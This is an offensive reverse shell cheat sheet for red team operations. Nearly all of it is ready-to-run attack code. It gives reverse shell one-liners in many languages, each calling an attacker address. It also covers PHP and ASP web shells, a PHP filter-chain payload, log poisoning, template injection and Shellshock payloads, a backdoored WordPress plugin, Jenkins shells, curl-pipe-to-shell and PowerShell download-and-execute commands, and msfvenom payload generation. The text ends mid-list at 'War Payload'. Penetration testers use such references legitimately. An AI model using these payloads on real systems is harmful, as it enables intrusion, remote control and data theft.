Reverse Shells

Offensive Reverse Shell (Cheat Sheet)

Collection of reverse shells for red team operations

• Bash

• Netcat

  • Netcat Linux

  • Netcat Windows

• BusyBox

• cURL

• Wget

• Node-RED

• WebShells

  • Exif Data

  • ASP WebShell

  • PHP WebShell

    • Chain Filter

    • GET

    • POST

  • Log Poisoning WebShell

    • SSH

    • FTP

    • HTTP

• Server Side Template Injection (SSTI)

• UnrealIRCd

• Exif Data

• Shellshock

  • SSH

  • HTTP

    • HTTP 500 Internal Server Error

• CMS

  • WordPress

  • October

  • Jenkins

    • Windows

    • Linux

• Perl

• Python

• Python3

• PHP

• Ruby

• Xterm

• Ncat

• Socat

• PowerShell

• Awk

• Gawk

• Golang

• Telnet

• Java

• Node

• Msfvenom

  • Web Payloads

    • PHP

    • WAR

    • JAR

    • JSP

    • ASPX

  • Linux Payloads

    • Listener Netcat

    • Listener Metasploit Multi Handler

  • Windows Payloads

    • Listener Netcat

    • Listener Metasploit Multi Handler

---

Bash

TCP

-i

#sh
sh -i >& /dev/tcp/192.168.1.2/443 0>&1
/bin/sh -i >& /dev/tcp/192.168.1.2/443 0>&1
#bash
bash -i >& /dev/tcp/192.168.1.2/443 0>&1
/bin/bash -i >& /dev/tcp/192.168.1.2/443 0>&1

196

#sh
0<&196;exec 196<>/dev/tcp/192.168.1.2/443; sh <&196 >&196 2>&196
0<&196;exec 196<>/dev/tcp/192.168.1.2/443; /bin/sh <&196 >&196 2>&196
#bash
0<&196;exec 196<>/dev/tcp/192.168.1.2/443; bash <&196 >&196 2>&196
0<&196;exec 196<>/dev/tcp/192.168.1.2/443; /bin/bash <&196 >&196 2>&196

read line

exec 5<>/dev/tcp/192.168.1.2/443;cat <&5 | while read line; do $line 2>&5 >&5; done

5

#sh
sh -i 5<> /dev/tcp/192.168.1.2/443 0<&5 1>&5 2>&5
/bin/sh -i 5<> /dev/tcp/192.168.1.2/443 0<&5 1>&5 2>&5
#bash
bash -i 5<> /dev/tcp/192.168.1.2/443 0<&5 1>&5 2>&5
/bin/bash -i 5<> /dev/tcp/192.168.1.2/443 0<&5 1>&5 2>&5

-c

bash -c 'bash -i >& /dev/tcp/192.168.1.2/443 0>&1'
#basic url encode
bash -c 'bash -i >%26 /dev/tcp/192.168.1.2/443 0>%261'
#full url encode
bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.1.2%2F443%200%3E%261%27

UDP

#sh
sh -i >& /dev/udp/192.168.1.2/443 0>&1
/bin/sh -i >& /dev/udp/192.168.1.2/443 0>&1
#bash
bash -i >& /dev/udp/192.168.1.2/443 0>&1
/bin/bash -i >& /dev/udp/192.168.1.2/443 0>&1

---

Netcat

Netcat Linux

-e

#sh
nc 192.168.1.2 443 -e sh
nc 192.168.1.2 443 -e /bin/sh
#bash
nc 192.168.1.2 443 -e bash
nc 192.168.1.2 443 -e /bin/bash

-c

#sh
nc -c sh 192.168.1.2 443
nc -c /bin/sh 192.168.1.2 443
#bash
nc -c bash 192.168.1.2 443
nc -c /bin/bash 192.168.1.2 443

NO -e -c

#1) create FIFO pipe (pipeline)
mknod /tmp/backpipe p
#2) reverse shell
/bin/sh 0</tmp/backpipe | nc 192.168.1.2 443 1>/tmp/backpipe

fifo

#sh
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 192.168.1.2 443 >/tmp/f
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.2 443 >/tmp/f
#bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 192.168.1.2 443 >/tmp/f
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.1.2 443 >/tmp/f
#url encode
rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%20192.168.1.2%20443%20%3E%2Ftmp%2Ff

#base64
#atacker
base64 -w 0 <<< 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.2 443 >/tmp/f'
cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnwvYmluL3NoIC1pIDI+JjF8bmMgMTkyLjE2OC4xLjIgNDQzID4vdG1wL2YK
nc -lvnp 443
#victim
echo 'cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnwvYmluL3NoIC1pIDI+JjF8bmMgMTkyLjE2OC4xLjIgNDQzID4vdG1wL2YK' |base64 -d |sh
#or
http://192.168.1.3/cmd.php?cmd=echo 'cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnwvYmluL3NoIC1pIDI+JjF8bmMgMTkyLjE2OC4xLjIgNDQzID4vdG1wL2YK' |base64 -d |sh

---

Netcat Windows

nc.exe -e cmd 192.168.1.2 443
#smbserver
cp $(locate nc.exe) . && impacket-smbserver a $(pwd) -smb2support
\\192.168.1.2\a\nc.exe -e cmd 192.168.1.2 443

---

BusyBox

#sh
busybox nc 192.168.1.2 443 -e sh
busybox nc 192.168.1.2 443 -e /bin/sh
#bash
busybox nc 192.168.1.2 443 -e bash
busybox nc 192.168.1.2 443 -e /bin/bash
#not space
busybox${IFS}nc${IFS}192.168.1.2${IFS}443${IFS}-e${IFS}sh

---

cURL

#atacker
echo "nc -e /bin/sh 192.168.1.2 443" > index.html && python3 -m http.server 80
nc -lvnp 443
#victim
http://192.168.1.3/cmd.php?cmd=curl 192.168.1.2/index.html|sh

---

Wget

#atacker
echo "nc -e /bin/sh 192.168.1.2 443" > index.html && python3 -m http.server 80
nc -lvnp 443
#victim
http://192.168.1.3/cmd.php?cmd=wget -qO- 192.168.1.2/index.html|sh

---

Node-RED

[{"id":"7235b2e6.4cdb9c","type":"tab","label":"Flow 1"},{"id":"d03f1ac0.886c28","type":"tcp out","z":"7235b2e6.4cdb9c","host":"","port":"","beserver":"reply","base64":false,"end":false,"name":"","x":786,"y":350,"wires":[]},{"id":"c14a4b00.271d28","type":"tcp in","z":"7235b2e6.4cdb9c","name":"","server":"client","host":"192.168.1.2","port":"443","datamode":"stream","datatype":"buffer","newline":"","topic":"","base64":false,"x":281,"y":337,"wires":[["4750d7cd.3c6e88"]]},{"id":"4750d7cd.3c6e88","type":"exec","z":"7235b2e6.4cdb9c","command":"","addpay":true,"append":"","useSpawn":"false","timer":"","oldrc":false,"name":"","x":517,"y":362.5,"wires":[["d03f1ac0.886c28"],["d03f1ac0.886c28"],["d03f1ac0.886c28"]]}]

---

WebShells

Exif Data WebShell

exiftool -Comment='<?php system($_GET['cmd']); ?>' filename.png
mv filename.png filename.php.png

ASP WebShell

<%response.write CreateObject("WScript.Shell").Exec(Request.QueryString("cmd")).StdOut.Readall()%>

PHP WebShell

Chain Filter

http://192.168.1.2/file.php?file="paste chain filter"

php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16|convert.iconv.WINDOWS-1258.UTF32LE|convert.iconv.ISIRI3342.ISO-IR-157|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO-IR-103.850|convert.iconv.PT154.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp&cmd=id

GET

<?=`$_GET[cmd]`?>
<?php system($_GET['cmd']); ?>
GIF89a; <?php system($_GET['cmd']); ?>
<?php passthru($_GET['cmd']); ?>
<?php echo exec($_GET['cmd']); ?>
<?php system($_REQUEST['cmd']); ?>
<?php echo shell_exec($_GET['cmd']); ?>
<pre><?php system($_GET['cmd']); ?></pre>
<pre><h1><?php system($_GET['cmd']); ?></h1></pre>
<?php echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>"; ?>

POST

<?php system($_POST['cmd']); ?>

---

Log Poisoning WebShell

Log Poisoning SSH

/var/log/auth.log

ssh '<?php system($_GET["cmd"]); ?>'@192.168.1.2

/var/log/auth.log&cmd=id

---

Log Poisoning FTP

/var/log/vsftpd.log

root@kali:~# ftp 192.168.1.3
Connected to 192.168.1.3.
220 (vsFTPd 3.0.3)
Name (192.168.1.2:kali): <?php system($_GET['cmd']); ?>
331 Please specify the password.
Password: <?php system($_GET['cmd']); ?>
530 Login incorrect.
Login failed.
ftp>

/var/log/vsftpd.log&cmd=id

---

Log Poisoning HTTP

/var/log/apache2/access.log

/var/log/nginx/access.log

curl -s -H "User-Agent: <?php system(\$_GET['cmd']); ?>" "http://192.168.1.2"

User-Agent: <?php system($_GET['cmd']); ?>

/var/log/apache2/access.log&cmd=id

/var/log/nginx/access.log&cmd=id

---

Server Side Template Injection

{{request.application.__globals__.__builtins__.__import__('os').popen('nc -e /bin/sh 192.168.1.2 443').read()}}

{{''.__class__.__mro__[1].__subclasses__()[373]("bash -c 'bash -i >& /dev/tcp/192.168.1.2/443 0>&1'",shell=True,stdout=-1).communicate()[0].strip()}}

<div data-gb-custom-block data-tag="for"><div data-gb-custom-block data-tag="if" data-0='warning'>{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.1.2\",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\", \"-i\"]);'").read().zfill(417)}}</div></div>

<div data-gb-custom-block data-tag="import"></div>{{os.system('bash -c "bash -i >& /dev/tcp/192.168.1.2/443 0>&1"')}}

%7B%25%20import%20os%20%25%7D%7B%7Bos.system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.1.2%2F443%200%3E%261%22%27%29%7D%7D

---

UnrealIRCd

root@kali:~# echo "AB;nc -e /bin/sh 192.168.1.2 443" |nc 192.168.1.3 6697

---

Exif Data Reverse Shell

root@kali:~# exiftool -Comment='<?php system("nc -e /bin/bash 192.168.1.2 443"); ?>' filename.png
root@kali:~# mv filename.png filename.php.png

---

Shellshock

Shellshock SSH

ssh [email protected] '() { :;}; nc 192.168.1.2 443 -e /bin/bash'
ssh [email protected] -i id_rsa '() { :;}; nc 192.168.1.2 443 -e /bin/bash'

---

Shellshock HTTP

curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/192.168.1.2/443 0>&1' http://192.168.1.3/cgi-bin/test.sh

curl -H "User-Agent: () { :; }; /bin/bash -c 'bash -i >& /dev/tcp/192.168.1.2/443 0>&1'" "http://192.168.1.3/cgi-bin/evil.sh"

curl -H "User-Agent: () { :; }; /bin/bash -c 'bash -i >& /dev/tcp/192.168.1.2/443 0>&1'" "http://192.168.1.3/cgi-bin/evil.cgi"

---

Shellshock HTTP 500 Internal Server Error

curl -H "User-Agent: () { :; }; echo; /bin/bash -c 'bash -i >& /dev/tcp/192.168.1.2/443 0>&1'" "http://192.168.1.3/cgi-bin/evil.sh"
curl -H "User-Agent: () { :; }; echo; echo; /bin/bash -c 'bash -i >& /dev/tcp/192.168.1.2/443 0>&1'" "http://192.168.1.3/cgi-bin/evil.sh"
curl -H "User-Agent: () { :; }; echo; /bin/bash -c 'bash -i >& /dev/tcp/192.168.1.2/443 0>&1'" "http://192.168.1.3/cgi-bin/evil.cgi"
curl -H "User-Agent: () { :; }; echo; echo; /bin/bash -c 'bash -i >& /dev/tcp/192.168.1.2/443 0>&1'" "http://192.168.1.3/cgi-bin/evil.cgi"

---

CMS

WordPress

Create Plugin (Reverse Shell)

touch plugin.php
nano plugin.php

Content

<?php
  /**
  * Plugin Name: Shelly
  * Plugin URI: http://localhost
  * Description: Love Shelly
  * Version: 1.0
  * Author: d4t4s3c
  * Author URI: https://github.com/d4t4s3c
  */

  exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.1.2/443 0>&1'");
  ?>

Compress

zip plugin.zip plugin.php

Steps

• Plugins

• Add New

• Upload Plugin

• Install Now

• Activate Plugin

---

October

function onstart(){
  exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.1.2/443 0>&1'");
}

---

Jenkins

Jenkins Windows

Netcat (Method 1)

cmd = "\\\\192.168.1.2\\a\\nc.exe -e cmd 192.168.1.2 443"
cmd.execute().text

Netcat (Method 2)

println "\\\\192.168.1.2\\a\\nc.exe -e cmd 192.168.1.2 443" .execute().text

CMD

String host="192.168.1.2";
int port=443;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

PowerShell

command = "powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.2:8000/reverse.ps1')"
println(command.execute().text)

Jenkins Linux

Netcat (Method 1)

cmd = "nc -e /bin/sh 192.168.1.10 443"
cmd.execute().text

Netcat (Method 2)

"nc -e /bin/sh 192.168.1.2 443".execute().text

Bash

String host="192.168.1.2";
int port=443;
String cmd="bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

---

Perl

perl -e 'use Socket;$i="192.168.1.2";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

---

Python

Sh

export RHOST="192.168.1.2";export RPORT=443;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("sh")'

export RHOST="192.168.1.2";export RPORT=443;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.2",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.2",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/sh")'

Bash

export RHOST="192.168.1.2";export RPORT=443;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("bash")'

export RHOST="192.168.1.2";export RPORT=443;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")'

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.2",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("bash")'

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.2",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

---

Python3

Sh

export RHOST="192.168.1.2";export RPORT=443;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("sh")'

export RHOST="192.168.1.2";export RPORT=443;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.2",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.2",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/sh")'

Bash

export RHOST="192.168.1.2";export RPORT=443;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("bash")'

export RHOST="192.168.1.2";export RPORT=443;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")'

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.2",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("bash")'

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.2",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

---

PHP

<?php exec("nc -e /bin/sh 192.168.1.2 443"); ?>

<?php passthru("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.2 443 >/tmp/f"); ?>

php -r '$sock=fsockopen("192.168.1.2",443);`/bin/sh -i <&3 >&3 2>&3`;'
php -r '$sock=fsockopen("192.168.1.2",443);exec("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("192.168.1.2",443);system("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("192.168.1.2",443);passthru("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("192.168.1.2",443);popen("/bin/sh -i <&3 >&3 2>&3", "r");'
php -r '$sock=fsockopen("192.168.1.2",443);shell_exec("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("192.168.1.2",443);$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);'

---

Ruby

ruby -rsocket -e'f=TCPSocket.open("192.168.1.2",443).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("192.168.1.2","443");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
ruby -rsocket -e 'c=TCPSocket.new("192.168.1.2","443");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

---

Xterm

xterm -display 192.168.1.2:443

---

Ncat

TCP

ncat 192.168.1.2 443 -e /bin/sh
ncat 192.168.1.2 443 -e /bin/bash

UDP

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|ncat -u 192.168.1.2 443 >/tmp/f

---

Socat

socat TCP:192.168.1.2:443 EXEC:sh

socat TCP:192.168.1.2:443 EXEC:'bash -li',pty,stderr,setsid,sigint,sane

---

PowerShell

powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("192.168.1.2",443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('192.168.1.2',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.2:8000/reverse.ps1')

C:\Windows\SysNative\WindowsPowerShell\v1.0\powershell.exe IEX(New-Object Net.WebClient).DownloadString('http://192.168.1.2/shell.ps1')

powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.1.2/powercat.ps1');powercat -c 192.168.1.2 -p 443 -e cmd"

---

Awk

awk 'BEGIN {s = "/inet/tcp/0/192.168.1.2/443"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null

---

Gawk

gawk 'BEGIN {P=443;S="> ";H="192.168.1.2";V="/inet/tcp/0/"H"/"P;while(1){do{printf S|&V;V|&getline c;if(c){while((c|&getline)>0)print $0|&V;close(c)}}while(c!="exit")close(V)}}'

---

Golang

echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","192.168.1.2:443");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go

---

Telnet

rm -f /tmp/p; mknod /tmp/p p && telnet 192.168.1.2 443 0/tmp/p

telnet 192.168.1.2 80 | /bin/bash | telnet 192.168.1.2 443

mknod a p && telnet 192.168.1.2 443 0<a | /bin/sh 1>a

TF=$(mktemp -u);mkfifo $TF && telnet 192.168.1.2 443 0<$TF | sh 1>$TF

---

Java

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/192.168.1.2/443;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

---

Node

require('child_process').exec('bash -i >& /dev/tcp/192.168.1.2/443 0>&1');

---

Msfvenom

Web Payloads

PHP Payload

msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.1.2 LPORT=443 -f raw > reverse.php

msfvenom -p php/reverse_php LHOST=192.168.1.2 LPORT=443 -f raw > reverse.php

War Payload

